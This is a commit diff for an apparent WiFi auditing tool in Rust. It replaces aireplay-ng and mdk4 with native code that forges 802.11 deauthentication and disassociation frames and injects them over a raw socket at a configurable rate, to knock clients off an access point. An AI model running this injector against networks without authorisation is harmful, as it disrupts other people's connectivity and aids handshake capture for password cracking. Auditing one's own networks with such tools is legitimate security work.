A WiFi security auditing software
deauth: inject deauth frames natively, dropping aireplay-ng and mdk4
Martin Olivier3a3946367a8f
diff --git a/Dockerfile b/Dockerfileindex f0989a4..67a6f94 100644--- a/Dockerfile+++ b/Dockerfile@@ -20,9 +20,9 @@ RUN rustup component add rustfmtWORKDIR /workspace-ENV DEBIAN_DEPS="--depends libgtk-4-1 --depends dbus-x11 --depends wireshark-common --depends iproute2 --depends mdk4 --depends crunch"+ENV DEBIAN_DEPS="--depends libgtk-4-1 --depends dbus-x11 --depends wireshark-common --depends iproute2 --depends crunch"ENV REDHAT_DEPS="--depends gtk4-devel --depends dbus-x11 --depends wireshark-cli --depends iproute"-ENV ARCHLINUX_DEPS="--depends gtk4 --depends dbus --depends wireshark-cli --depends iproute2 --depends mdk4"+ENV ARCHLINUX_DEPS="--depends gtk4 --depends dbus --depends wireshark-cli --depends iproute2"# Build and package the projectCMD cargo build && \diff --git a/crates/agent/src/backend/deauth.rs b/crates/agent/src/backend/deauth.rsindex 79e8ee0..0b41dfe 100644--- a/crates/agent/src/backend/deauth.rs+++ b/crates/agent/src/backend/deauth.rs@@ -1,110 +1,124 @@+//! Native deauthentication attacks.+//!+//! An injection thread forges 802.11 deauthentication (and, optionally, disassociation)+//! management frames and sends them on a raw socket over the monitor interface,+//! at a configurable rate, until asked to stop.++use super::raw_socket;use crate::globals::*;use airgorah_common::types::*;-use std::process::{Command, Stdio};++use std::sync::Arc;use std::sync::MutexGuard;+use std::sync::atomic::{AtomicBool, Ordering};+use std::time::Duration;++/// Broadcast address, used to deauth every client of an AP at once.+const BROADCAST: [u8; 6] = [0xff; 6];++/// 802.11 frame-control first byte for a deauthentication management frame+/// (type management, subtype 12) and a disassociation frame (subtype 10).+const SUBTYPE_DEAUTH: u8 = 0xc0;+const SUBTYPE_DISASSOC: u8 = 0xa0;++/// Reason codes: "class 3 frame received from nonassociated station" for deauth,+/// "disassociated because sending station is leaving" for disassoc.+const REASON_DEAUTH: u16 = 7;+const REASON_DISASSOC: u16 = 8;#[derive(thiserror::Error, Debug)]pub enum DeathError {#[error("Input/Output error: {0}")]IoError(#[from] std::io::Error),++ #[error("Invalid MAC address: {0}")]+ InvalidMac(String),}-/// Launch a deauth attack on a specific AP+/// Launch a deauth attack on a specific AP.+///+/// With `specific_clients`, each client is deauthed in both directions+/// (AP→client and client→AP); otherwise a single broadcast deauth targets every+/// client. `rate` is the number of send rounds per second; `disassoc` adds a+/// disassociation frame alongside each deauth.pub fn launch_deauth_attack(iface: &str,ap: AP,specific_clients: Option<Vec<String>>,- software: AttackSoftware,+ rate: u32,+ disassoc: bool,) -> Result<(), DeathError> {- let mut attack_pool = get_attack_pool();-- let attack_targets = match specific_clients {- Some(specific_clients) => {- let mut cli_attack_targets = vec![];- for cli in specific_clients {- let (soft, args) = match software {- AttackSoftware::Aireplay => (- "aireplay-ng",- vec!["-0", "0", "-D", "-a", &ap.bssid, "-c", &cli, iface],- ),- AttackSoftware::Mdk4 => ("mdk4", vec![iface, "d", "-B", &ap.bssid, "-S", &cli]),- };-- log::info!(- "[{}] start deauth attack on ({}): {} {}",- ap.bssid,- cli,- soft,- args.join(" ")- );-- cli_attack_targets.push((- cli.to_owned(),- Command::new(soft)- .args(args)- .stdout(Stdio::null())- .spawn()?,- ));+ let bssid = parse_mac(&ap.bssid).ok_or_else(|| DeathError::InvalidMac(ap.bssid.clone()))?;++ // The (destination, source) address pairs to hit each round.+ let (target, pairs) = match specific_clients {+ Some(clients) => {+ let mut pairs = Vec::with_capacity(clients.len() * 2);+ for client in &clients {+ let mac =+ parse_mac(client).ok_or_else(|| DeathError::InvalidMac(client.clone()))?;+ pairs.push((mac, bssid)); // AP → client+ pairs.push((bssid, mac)); // client → AP}- AttackedClients::Selection(cli_attack_targets)+ (AttackTarget::Selection(clients), pairs)}- None => {- let (soft, args) = match software {- AttackSoftware::Aireplay => {- ("aireplay-ng", vec!["-0", "0", "-D", "-a", &ap.bssid, iface])+ None => (AttackTarget::All, vec![(BROADCAST, bssid)]),+ };++ let rate = rate.clamp(1, 1000);+ let interval = Duration::from_secs_f64(1.0 / f64::from(rate));++ // Open the injection socket up front so a failure is reported synchronously to+ // the GUI rather than dying silently inside the thread.+ let socket = raw_socket::open(iface)?;++ let stop = Arc::new(AtomicBool::new(false));+ let thread_stop = Arc::clone(&stop);+ let log_bssid = ap.bssid.clone();++ let handle = std::thread::spawn(move || {+ log::info!("[{log_bssid}] deauth attack started ({rate} rounds/s, disassoc: {disassoc})");++ while !thread_stop.load(Ordering::Relaxed) {+ for (dst, src) in &pairs {+ let deauth = build_mgmt_frame(SUBTYPE_DEAUTH, *dst, *src, bssid, REASON_DEAUTH);+ raw_socket::send(&socket, &deauth).ok();++ if disassoc {+ let frame =+ build_mgmt_frame(SUBTYPE_DISASSOC, *dst, *src, bssid, REASON_DISASSOC);+ raw_socket::send(&socket, &frame).ok();}- AttackSoftware::Mdk4 => ("mdk4", vec![iface, "d", "-B", &ap.bssid]),- };-- log::info!(- "[{}] start deauth attack on ({}): {} {}",- ap.bssid,- "FF:FF:FF:FF:FF:FF",- soft,- args.join(" ")- );-- AttackedClients::All(- Command::new(soft)- .args(args)- .stdout(Stdio::null())- .spawn()?,- )+ }++ std::thread::sleep(interval);}- };- attack_pool.insert(ap.bssid.to_string(), (ap, attack_targets));+ log::info!("[{log_bssid}] deauth attack stopped");+ });++ get_attack_pool().insert(+ ap.bssid.clone(),+ DeauthAttack {+ ap,+ target,+ stop,+ handle,+ },+ );Ok(())}-/// Stop a deauth attack on a specific AP+/// Stop a deauth attack on a specific AP.pub fn stop_deauth_attack(ap_bssid: &str) {- let mut attack_pool = get_attack_pool();-- if let Some((ap, target)) = attack_pool.get_mut(ap_bssid) {- match target {- AttackedClients::All(child) => {- log::info!(- "[{}] stop deauth attack on ({})",- ap.bssid,- "FF:FF:FF:FF:FF:FF"- );-- child.kill().ok();- child.wait().ok();- }- AttackedClients::Selection(child_list) => {- for (cli, child) in child_list {- log::info!("[{}] stop deauth attack on ({})", ap.bssid, cli);+ // Remove first so the lock is released before we join the thread.+ let attack = get_attack_pool().remove(ap_bssid);- child.kill().ok();- child.wait().ok();- }- }- }+ if let Some(attack) = attack {+ attack.stop.store(true, Ordering::Relaxed);+ let _ = attack.handle.join();}- attack_pool.remove(ap_bssid);}pub fn stop_all_deauth_attacks() {@@ -123,18 +137,92 @@ pub fn get_attack_pool() -> MutexGuard<'static, AttackPool> {/// Project the live attack pool onto its serializable wire representation.pub fn get_attack_states() -> Vec<AttackState> {get_attack_pool()- .iter()- .map(|(_bssid, (ap, target))| {- let target = match target {- AttackedClients::All(_) => AttackTarget::All,- AttackedClients::Selection(list) => {- AttackTarget::Selection(list.iter().map(|(mac, _)| mac.clone()).collect())- }- };- AttackState {- ap: ap.clone(),- target,- }+ .values()+ .map(|attack| AttackState {+ ap: attack.ap.clone(),+ target: attack.target.clone(),}).collect()}++/// Build a deauth/disassoc management frame: a minimal radiotap header for+/// injection followed by the 26-byte 802.11 management frame.+fn build_mgmt_frame(+ subtype: u8,+ dst: [u8; 6],+ src: [u8; 6],+ bssid: [u8; 6],+ reason: u16,+) -> Vec<u8> {+ // Radiotap header with no fields (version, pad, len=8, present=0): the driver+ // fills in the transmit parameters.+ const RADIOTAP: [u8; 8] = [0x00, 0x00, 0x08, 0x00, 0x00, 0x00, 0x00, 0x00];++ let mut frame = Vec::with_capacity(RADIOTAP.len() + 26);+ frame.extend_from_slice(&RADIOTAP);+ frame.push(subtype); // frame control: type/subtype+ frame.push(0x00); // frame control: flags+ frame.extend_from_slice(&[0x00, 0x00]); // duration+ frame.extend_from_slice(&dst); // address 1: destination+ frame.extend_from_slice(&src); // address 2: source+ frame.extend_from_slice(&bssid); // address 3: BSSID+ frame.extend_from_slice(&[0x00, 0x00]); // sequence control+ frame.extend_from_slice(&reason.to_le_bytes()); // reason code+ frame+}++/// Parse a canonical `xx:xx:xx:xx:xx:xx` MAC address into raw bytes.+fn parse_mac(mac: &str) -> Option<[u8; 6]> {+ let mut bytes = [0u8; 6];+ let mut parts = mac.split(':');++ for byte in &mut bytes {+ *byte = u8::from_str_radix(parts.next()?, 16).ok()?;+ }++ if parts.next().is_some() {+ return None;+ }++ Some(bytes)+}++#[cfg(test)]+mod tests {+ use super::*;++ #[test]+ fn parses_a_valid_mac() {+ assert_eq!(+ parse_mac("18:86:37:1F:30:40"),+ Some([0x18, 0x86, 0x37, 0x1f, 0x30, 0x40])+ );+ assert_eq!(parse_mac("ff:ff:ff:ff:ff:ff"), Some([0xff; 6]));+ }++ #[test]+ fn rejects_a_malformed_mac() {+ assert_eq!(parse_mac("18:86:37:1F:30"), None); // too few groups+ assert_eq!(parse_mac("18:86:37:1F:30:40:55"), None); // too many groups+ assert_eq!(parse_mac("zz:86:37:1F:30:40"), None); // not hex+ assert_eq!(parse_mac(""), None);+ }++ #[test]+ fn builds_a_well_formed_deauth_frame() {+ let dst = [0x11; 6];+ let src = [0x22; 6];+ let bssid = [0x33; 6];+ let frame = build_mgmt_frame(SUBTYPE_DEAUTH, dst, src, bssid, REASON_DEAUTH);++ // 8-byte radiotap header + 26-byte 802.11 management frame.+ assert_eq!(frame.len(), 34);+ assert_eq!(&frame[0..4], &[0x00, 0x00, 0x08, 0x00]); // radiotap: v0, len 8+ assert_eq!(frame[8], SUBTYPE_DEAUTH); // frame control type/subtype+ assert_eq!(frame[9], 0x00); // frame control flags+ assert_eq!(&frame[12..18], &dst); // address 1+ assert_eq!(&frame[18..24], &src); // address 2+ assert_eq!(&frame[24..30], &bssid); // address 3+ assert_eq!(&frame[32..34], &REASON_DEAUTH.to_le_bytes()); // reason code+ }+}diff --git a/crates/agent/src/backend/mod.rs b/crates/agent/src/backend/mod.rsindex 0352844..030f6b6 100644--- a/crates/agent/src/backend/mod.rs+++ b/crates/agent/src/backend/mod.rs@@ -3,6 +3,7 @@ pub mod capture;pub mod deauth;pub mod interface;pub mod pcap;+pub mod raw_socket;pub mod scan;pub mod sniffer;pub mod vendors;diff --git a/crates/agent/src/backend/raw_socket.rs b/crates/agent/src/backend/raw_socket.rsnew file mode 100644index 0000000..de6cc9c--- /dev/null+++ b/crates/agent/src/backend/raw_socket.rs@@ -0,0 +1,111 @@+//! Shared raw `AF_PACKET` socket helpers for capturing and injecting 802.11+//! frames on the monitor interface. The capture engine ([`super::sniffer`]) reads+//! radiotap-prefixed frames off it; the deauth engine ([`super::deauth`]) injects+//! them.++use std::ffi::CString;+use std::io;+use std::os::fd::{AsRawFd, FromRawFd, OwnedFd};++/// Open a raw `AF_PACKET` socket bound to `iface`, seeing/sending every frame.+pub fn open(iface: &str) -> io::Result<OwnedFd> {+ let eth_p_all = (libc::ETH_P_ALL as u16).to_be();++ // SAFETY: standard socket(2) call; the returned fd is immediately wrapped in an+ // OwnedFd so it is closed on drop.+ let fd = unsafe { libc::socket(libc::AF_PACKET, libc::SOCK_RAW, eth_p_all as i32) };+ if fd < 0 {+ return Err(io::Error::last_os_error());+ }+ let socket = unsafe { OwnedFd::from_raw_fd(fd) };++ let ifindex = interface_index(iface)?;++ let mut addr: libc::sockaddr_ll = unsafe { std::mem::zeroed() };+ addr.sll_family = libc::AF_PACKET as u16;+ addr.sll_protocol = eth_p_all;+ addr.sll_ifindex = ifindex as i32;++ // SAFETY: bind(2) with a correctly sized sockaddr_ll.+ let ret = unsafe {+ libc::bind(+ socket.as_raw_fd(),+ &addr as *const libc::sockaddr_ll as *const libc::sockaddr,+ std::mem::size_of::<libc::sockaddr_ll>() as libc::socklen_t,+ )+ };+ if ret < 0 {+ return Err(io::Error::last_os_error());+ }++ Ok(socket)+}++/// Set a receive timeout, so a capture loop can hop channels and poll a stop flag.+pub fn set_recv_timeout(socket: &OwnedFd, millis: i64) -> io::Result<()> {+ let timeout = libc::timeval {+ tv_sec: millis / 1000,+ tv_usec: (millis % 1000) * 1000,+ };+ // SAFETY: setsockopt(2) with a correctly sized timeval.+ let ret = unsafe {+ libc::setsockopt(+ socket.as_raw_fd(),+ libc::SOL_SOCKET,+ libc::SO_RCVTIMEO,+ &timeout as *const libc::timeval as *const libc::c_void,+ std::mem::size_of::<libc::timeval>() as libc::socklen_t,+ )+ };+ if ret < 0 {+ return Err(io::Error::last_os_error());+ }+ Ok(())+}++/// Receive one frame, returning the number of bytes read (0 on an empty read).+pub fn recv(socket: &OwnedFd, buf: &mut [u8]) -> io::Result<usize> {+ // SAFETY: recv(2) into a buffer of the given length.+ let n = unsafe {+ libc::recv(+ socket.as_raw_fd(),+ buf.as_mut_ptr() as *mut libc::c_void,+ buf.len(),+ 0,+ )+ };+ if n < 0 {+ return Err(io::Error::last_os_error());+ }+ Ok(n as usize)+}++/// Send one raw frame (radiotap header followed by the 802.11 frame).+pub fn send(socket: &OwnedFd, frame: &[u8]) -> io::Result<()> {+ // SAFETY: send(2) from a buffer of the given length.+ let n = unsafe {+ libc::send(+ socket.as_raw_fd(),+ frame.as_ptr() as *const libc::c_void,+ frame.len(),+ 0,+ )+ };+ if n < 0 {+ return Err(io::Error::last_os_error());+ }+ Ok(())+}++/// Resolve an interface name to its kernel index.+fn interface_index(iface: &str) -> io::Result<u32> {+ let name = CString::new(iface).map_err(|_| {+ io::Error::new(io::ErrorKind::InvalidInput, "interface name contains a nul")+ })?;+ // SAFETY: if_nametoindex(3) reads a valid C string; returns 0 on error.+ let index = unsafe { libc::if_nametoindex(name.as_ptr()) };+ if index == 0 {+ return Err(io::Error::last_os_error());+ }+ Ok(index)+}diff --git a/crates/agent/src/backend/scan.rs b/crates/agent/src/backend/scan.rsindex 4118e0b..5273583 100644--- a/crates/agent/src/backend/scan.rs+++ b/crates/agent/src/backend/scan.rs@@ -124,7 +124,7 @@ pub fn get_airodump_data() -> HashMap<String, AP> {let attacked: Vec<AP> = get_attack_pool().values()- .map(|(ap, _)| ap.clone())+ .map(|attack| attack.ap.clone()).collect();for ap in attacked {aps.insert(ap.bssid.clone(), ap);diff --git a/crates/agent/src/backend/sniffer.rs b/crates/agent/src/backend/sniffer.rsindex 828431a..4a222e3 100644--- a/crates/agent/src/backend/sniffer.rs+++ b/crates/agent/src/backend/sniffer.rs@@ -12,6 +12,7 @@use super::find_vendor;use super::pcap::PcapWriter;+use super::raw_socket;use super::scan::{get_aps, get_cap_ext, get_live_scan_path, get_unlinked_clients};use airgorah_common::types::{AP, Client};@@ -21,9 +22,6 @@ use libwifi::Frame;use libwifi::frame::components::{DataHeader, ManagementHeader, RsnAkmSuite, StationInfo};use std::collections::HashMap;-use std::ffi::CString;-use std::io;-use std::os::fd::{AsRawFd, FromRawFd, OwnedFd};use std::sync::Arc;use std::sync::atomic::{AtomicBool, Ordering};use std::time::{Duration, Instant};@@ -64,13 +62,18 @@ pub fn build_channel_list(ghz_2_4: bool, ghz_5: bool, filter: Option<&str>) -> V/// Capture-thread body. Runs until `stop` is raised.pub fn run(iface: String, channels: Vec<u32>, stop: Arc<AtomicBool>) {- let socket = match open_capture_socket(&iface) {+ let socket = match raw_socket::open(&iface) {Ok(socket) => socket,Err(e) => {log::error!("scan: could not open capture socket on {iface}: {e}");return;}};+ // Short receive timeout so the loop can hop channels and observe `stop`.+ if let Err(e) = raw_socket::set_recv_timeout(&socket, 100) {+ log::error!("scan: could not set capture timeout on {iface}: {e}");+ return;+ }let mut pcap = match PcapWriter::create(get_live_scan_path() + get_cap_ext()) {Ok(pcap) => pcap,@@ -98,7 +101,7 @@ pub fn run(iface: String, channels: Vec<u32>, stop: Arc<AtomicBool>) {last_hop = Instant::now();}- match recv_frame(&socket, &mut buf) {+ match raw_socket::recv(&socket, &mut buf) {Ok(0) => {}Ok(n) => {let frame = &buf[..n];@@ -125,91 +128,6 @@ pub fn run(iface: String, channels: Vec<u32>, stop: Arc<AtomicBool>) {log::info!("scan: capture thread on {iface} stopped");}-// --- raw AF_PACKET socket -----------------------------------------------------/// Open a raw `AF_PACKET` socket capturing every frame on `iface`, with a short-/// receive timeout so the capture loop can hop channels and observe the stop flag.-fn open_capture_socket(iface: &str) -> io::Result<OwnedFd> {- let eth_p_all = (libc::ETH_P_ALL as u16).to_be();-- // SAFETY: standard socket(2) call; the returned fd is immediately wrapped in an- // OwnedFd so it is closed on drop.- let fd = unsafe { libc::socket(libc::AF_PACKET, libc::SOCK_RAW, eth_p_all as i32) };- if fd < 0 {- return Err(io::Error::last_os_error());- }- let socket = unsafe { OwnedFd::from_raw_fd(fd) };-- let ifindex = interface_index(iface)?;-- let mut addr: libc::sockaddr_ll = unsafe { std::mem::zeroed() };- addr.sll_family = libc::AF_PACKET as u16;- addr.sll_protocol = eth_p_all;- addr.sll_ifindex = ifindex as i32;-- // SAFETY: bind(2) with a correctly sized sockaddr_ll.- let ret = unsafe {- libc::bind(- socket.as_raw_fd(),- &addr as *const libc::sockaddr_ll as *const libc::sockaddr,- std::mem::size_of::<libc::sockaddr_ll>() as libc::socklen_t,- )- };- if ret < 0 {- return Err(io::Error::last_os_error());- }-- let timeout = libc::timeval {- tv_sec: 0,- tv_usec: 100_000,- };- // SAFETY: setsockopt(2) with a correctly sized timeval.- let ret = unsafe {- libc::setsockopt(- socket.as_raw_fd(),- libc::SOL_SOCKET,- libc::SO_RCVTIMEO,- &timeout as *const libc::timeval as *const libc::c_void,- std::mem::size_of::<libc::timeval>() as libc::socklen_t,- )- };- if ret < 0 {- return Err(io::Error::last_os_error());- }-- Ok(socket)-}--/// Resolve an interface name to its kernel index.-fn interface_index(iface: &str) -> io::Result<u32> {- let name = CString::new(iface).map_err(|_| {- io::Error::new(io::ErrorKind::InvalidInput, "interface name contains a nul")- })?;- // SAFETY: if_nametoindex(3) reads a valid C string; returns 0 on error.- let index = unsafe { libc::if_nametoindex(name.as_ptr()) };- if index == 0 {- return Err(io::Error::last_os_error());- }- Ok(index)-}--/// Receive one frame, returning the number of bytes read (0 on an empty read).-fn recv_frame(socket: &OwnedFd, buf: &mut [u8]) -> io::Result<usize> {- // SAFETY: recv(2) into a buffer of the given length.- let n = unsafe {- libc::recv(- socket.as_raw_fd(),- buf.as_mut_ptr() as *mut libc::c_void,- buf.len(),- 0,- )- };- if n < 0 {- return Err(io::Error::last_os_error());- }- Ok(n as usize)-}-/// Tune the interface to a channel via `iw`. Failures (e.g. a regulatory-blocked/// DFS channel) are non-fatal — the hop is just skipped.fn set_channel(iface: &str, channel: u32) -> bool {diff --git a/crates/agent/src/globals.rs b/crates/agent/src/globals.rsindex 2c1b02d..cd8fff9 100644--- a/crates/agent/src/globals.rs+++ b/crates/agent/src/globals.rs@@ -1,15 +1,14 @@//! Privileged state owned by the agent.//!//! This is the half of the old monolithic `globals.rs` that manipulates or holds-//! handles to privileged resources: the running native scan, the running-//! `aireplay`/`mdk4` attacks, the accumulated scan data, and the interface/service-//! state that must be restored on teardown.+//! handles to privileged resources: the running native scan, the running native+//! deauth attacks, the accumulated scan data, and the interface/service state that+//! must be restored on teardown.-use airgorah_common::types::{AP, Client};+use airgorah_common::types::{AP, AttackTarget, Client};use lazy_static::lazy_static;use std::collections::HashMap;-use std::process::Child;use std::sync::Arc;use std::sync::Mutex;use std::sync::atomic::AtomicBool;@@ -22,16 +21,6 @@ pub static LIVE_SCAN_PATH: &str = "/var/lib/airgorah/live_scan";pub static OLD_SCAN_PATH: &str = "/var/lib/airgorah/old_scan";pub static MERGE_SCAN_PATH: &str = "/var/lib/airgorah/merge_scan";-/// Live process handles for an ongoing deauth attack. Kept agent-internal (it-/// holds `Child`s) and projected onto [`airgorah_common::types::AttackState`] for-/// the wire.-pub enum AttackedClients {- All(Child),- Selection(Vec<(String, Child)>),-}--pub type AttackPool = HashMap<String, (AP, AttackedClients)>;-/// Handle to the running native capture thread. `stop` is raised to ask the/// thread to exit; `handle` is joined to wait for it to finish flushing the/// capture file. Replaces the old `airodump-ng` child process.@@ -40,6 +29,18 @@ pub struct ScanHandle {pub handle: JoinHandle<()>,}+/// A running native deauth attack against one AP. `target` is kept for the wire+/// projection ([`airgorah_common::types::AttackState`]), `stop` asks the injection+/// thread to exit and `handle` joins it.+pub struct DeauthAttack {+ pub ap: AP,+ pub target: AttackTarget,+ pub stop: Arc<AtomicBool>,+ pub handle: JoinHandle<()>,+}++pub type AttackPool = HashMap<String, DeauthAttack>;+lazy_static! {pub static ref IFACE: Mutex<Option<String>> = Mutex::new(None);pub static ref IFACE_WAS_MONITOR: Mutex<bool> = Mutex::new(false);diff --git a/crates/agent/src/server.rs b/crates/agent/src/server.rsindex dfaca61..01f8b75 100644--- a/crates/agent/src/server.rs+++ b/crates/agent/src/server.rs@@ -189,7 +189,8 @@ fn dispatch(request: Request) -> (Response, bool) {Request::StartDeauth {bssid,clients,- software,+ rate,+ disassoc,} => {if let Some(ref clients) = clients&& !clients.iter().all(|c| is_valid_mac(c))@@ -207,7 +208,7 @@ fn dispatch(request: Request) -> (Response, bool) {if !is_valid_mac(&ap.bssid) {return (err("invalid access point BSSID"), false);}- match backend::launch_deauth_attack(&iface, ap, clients, software) {+ match backend::launch_deauth_attack(&iface, ap, clients, rate, disassoc) {Ok(()) => (Response::Ok, false),Err(e) => (err(e), false),}diff --git a/crates/common/src/deps.rs b/crates/common/src/deps.rsindex 8ea8322..e74be03 100644--- a/crates/common/src/deps.rs+++ b/crates/common/src/deps.rs@@ -25,7 +25,6 @@ pub struct Tool {}// Optional tool names, referenced at their on-demand check sites.-pub const MDK4: &str = "mdk4";pub const CRUNCH: &str = "crunch";pub const SYSTEMCTL: &str = "systemctl";pub const PKEXEC: &str = "pkexec";@@ -63,11 +62,6 @@ pub const TOOLS: &[Tool] = &[requirer: Requirer::Agent,optional: false,},- Tool {- name: "aireplay-ng",- requirer: Requirer::Agent,- optional: false,- },Tool {name: "mergecap",requirer: Requirer::Agent,@@ -79,11 +73,6 @@ pub const TOOLS: &[Tool] = &[optional: false,},// Optional, checked on demand.- Tool {- name: MDK4,- requirer: Requirer::Agent,- optional: true,- },Tool {name: CRUNCH,requirer: Requirer::Gui,diff --git a/crates/common/src/ipc.rs b/crates/common/src/ipc.rsindex ed53f1e..7789e07 100644--- a/crates/common/src/ipc.rs+++ b/crates/common/src/ipc.rs@@ -63,7 +63,10 @@ pub enum Request {StartDeauth {bssid: String,clients: Option<Vec<String>>,- software: AttackSoftware,+ /// Send rounds per second (each round hits every target once).+ rate: u32,+ /// Also send a disassociation frame alongside each deauth.+ disassoc: bool,},StopDeauth {bssid: String,diff --git a/crates/common/src/types.rs b/crates/common/src/types.rsindex aad27bd..f2aaa36 100644--- a/crates/common/src/types.rs+++ b/crates/common/src/types.rs@@ -9,13 +9,6 @@use serde::{Deserialize, Serialize};use std::collections::HashMap;-/// Deauthentication tool the agent should drive.-#[derive(Clone, Copy, Debug, PartialEq, Eq, Serialize, Deserialize)]-pub enum AttackSoftware {- Aireplay,- Mdk4,-}-/// How the MAC address of an interface should be set when entering monitor mode.////// Resolved GUI-side from the user's [`Settings::mac_address`] and passed to thediff --git a/crates/gui/src/backend/client.rs b/crates/gui/src/backend/client.rsindex d0d16d9..7abd87b 100644--- a/crates/gui/src/backend/client.rs+++ b/crates/gui/src/backend/client.rs@@ -3,7 +3,7 @@use crate::globals::*;use airgorah_common::deps::{self, Requirer};use airgorah_common::ipc::*;-use airgorah_common::types::{AP, AttackSoftware, AttackState, Client};+use airgorah_common::types::{AP, AttackState, Client};use lazy_static::lazy_static;use nix::unistd::{geteuid, getuid};@@ -403,12 +403,14 @@ pub fn launch_deauth_attack(_iface: &str,ap: AP,specific_clients: Option<Vec<String>>,- software: AttackSoftware,+ rate: u32,+ disassoc: bool,) -> Result<(), AgentError> {expect_ok(request(Request::StartDeauth {bssid: ap.bssid,clients: specific_clients,- software,+ rate,+ disassoc,})?)}diff --git a/crates/gui/src/frontend/connections/deauth.rs b/crates/gui/src/frontend/connections/deauth.rsindex 8ec4cbc..adcd363 100755--- a/crates/gui/src/frontend/connections/deauth.rs+++ b/crates/gui/src/frontend/connections/deauth.rs@@ -2,7 +2,6 @@ use crate::backend;use crate::frontend::interfaces::*;use crate::frontend::widgets::*;use crate::list_store_get;-use crate::types::AttackSoftware;use glib::Value;use glib::clone;@@ -118,26 +117,15 @@ fn connect_attack_but(app_data: Rc<AppData>) {let bssid = list_store_get!(app_data.app_gui.aps_model, &iter, 1, String);- let attack_software = match app_data.deauth_gui.aireplay_but.is_active() {- true => AttackSoftware::Aireplay,- false => AttackSoftware::Mdk4,- };-- if attack_software == AttackSoftware::Mdk4- && !backend::deps::is_installed(backend::deps::MDK4)- {- return ErrorDialog::spawn(- &app_data.deauth_gui.window,- "Missing dependency",- "\"mdk4\" is not installed on your system",- );- }+ let rate = app_data.deauth_gui.rate_but.value_as_int() as u32;+ let disassoc = app_data.deauth_gui.disassoc_but.is_active();if let Err(e) = backend::launch_deauth_attack(&iface,backend::get_aps()[&bssid].clone(),params,- attack_software,+ rate,+ disassoc,) {return ErrorDialog::spawn(&app_data.deauth_gui.window,diff --git a/crates/gui/src/frontend/interfaces/deauth.rs b/crates/gui/src/frontend/interfaces/deauth.rsindex 1169763..a7e164c 100755--- a/crates/gui/src/frontend/interfaces/deauth.rs+++ b/crates/gui/src/frontend/interfaces/deauth.rs@@ -5,7 +5,8 @@ use gtk4::*;pub struct DeauthGui {pub window: Window,- pub aireplay_but: ToggleButton,+ pub rate_but: SpinButton,+ pub disassoc_but: CheckButton,pub store: ListStore,pub view: TreeView,pub toggle: CellRendererToggle,@@ -26,25 +27,32 @@ impl DeauthGui {.modal(true).build();- let aireplay_but = ToggleButton::with_label("aireplay-ng");- let mdk4_but = ToggleButton::with_label("mdk4");+ // Injection rate: send rounds per second.+ let rate_label = Label::new(Some("Rate (pkt/s)"));+ rate_label.set_halign(Align::Start);+ rate_label.set_hexpand(true);- aireplay_but.set_hexpand(true);- mdk4_but.set_hexpand(true);+ let rate_but = SpinButton::with_range(1.0, 1000.0, 1.0);+ rate_but.set_value(10.0);- aireplay_but.set_active(true);- mdk4_but.set_group(Some(&aireplay_but));+ let rate_box = Box::new(Orientation::Horizontal, 10);+ rate_box.append(&rate_label);+ rate_box.append(&rate_but);- let soft_box = Box::new(Orientation::Horizontal, 10);- soft_box.append(&aireplay_but);- soft_box.append(&mdk4_but);+ // Optionally send a disassociation frame alongside each deauth.+ let disassoc_but = CheckButton::with_label("Send disassociation frames");- soft_box.set_margin_start(10);- soft_box.set_margin_end(10);- soft_box.set_margin_bottom(10);+ let settings_box = Box::new(Orientation::Vertical, 10);+ settings_box.append(&rate_box);+ settings_box.append(&disassoc_but);- let backend_frame = Frame::new(Some("Backend"));- backend_frame.set_child(Some(&soft_box));+ settings_box.set_margin_start(10);+ settings_box.set_margin_end(10);+ settings_box.set_margin_top(10);+ settings_box.set_margin_bottom(10);++ let settings_frame = Frame::new(None);+ settings_frame.set_child(Some(&settings_box));let all_cli_but = CheckButton::with_label("Deauth all clients");let sel_cli_but = CheckButton::with_label("Deauth selected clients");@@ -92,7 +100,7 @@ impl DeauthGui {let attack_but = Button::with_label("Deauth");let main_box = Box::new(Orientation::Vertical, 10);- main_box.append(&backend_frame);+ main_box.append(&settings_frame);main_box.append(&deauth_frame);main_box.append(&attack_but);@@ -105,7 +113,8 @@ impl DeauthGui {Self {window,- aireplay_but,+ rate_but,+ disassoc_but,store,view,toggle,diff --git a/crates/gui/src/types.rs b/crates/gui/src/types.rsindex b8f9b1d..46cdea9 100644--- a/crates/gui/src/types.rs+++ b/crates/gui/src/types.rs@@ -1,6 +1,6 @@//! GUI-facing type definitions and re-exports.-pub use airgorah_common::types::{AP, AttackSoftware, AttackTarget, Settings};+pub use airgorah_common::types::{AP, AttackTarget, Settings};pub struct BruteforceCharsetParams {pub lowercase: bool,